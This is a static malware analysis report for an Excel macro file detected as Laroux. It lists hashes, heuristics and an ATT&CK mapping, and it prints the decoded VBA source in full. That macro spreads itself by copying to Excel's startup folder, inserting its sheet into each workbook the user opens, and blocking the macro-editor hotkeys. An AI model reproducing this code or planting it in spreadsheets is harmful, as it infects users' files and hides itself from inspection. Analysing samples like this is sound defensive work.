Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b273e866fbe3f336…

MALICIOUS

Office (OLE)

60.0 KB Created: 2009-12-29 08:30:53 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: a4c083dd24c3f155b7d51444f3a4b4f5 SHA-1: 1e886a5d50e9faab1e8771b7029742c2cf3281d2 SHA-256: b273e866fbe3f336d8a4e2b4607ea7d11f824d2a831ec2a44716575ca5ed8874
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV detection and the presence of VBA macros indicate malicious intent. The auto_open macro attempts to copy the malicious Excel file to the Excel startup path as 'StartUp.xls', likely to achieve persistence. The script also sets up event handlers to maintain its presence and potentially execute further malicious actions.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1176 bytes
SHA-256: 9e8ce1401c4739b83f9e6a6842670f92d64e220d4214f18d0db5f915102b51a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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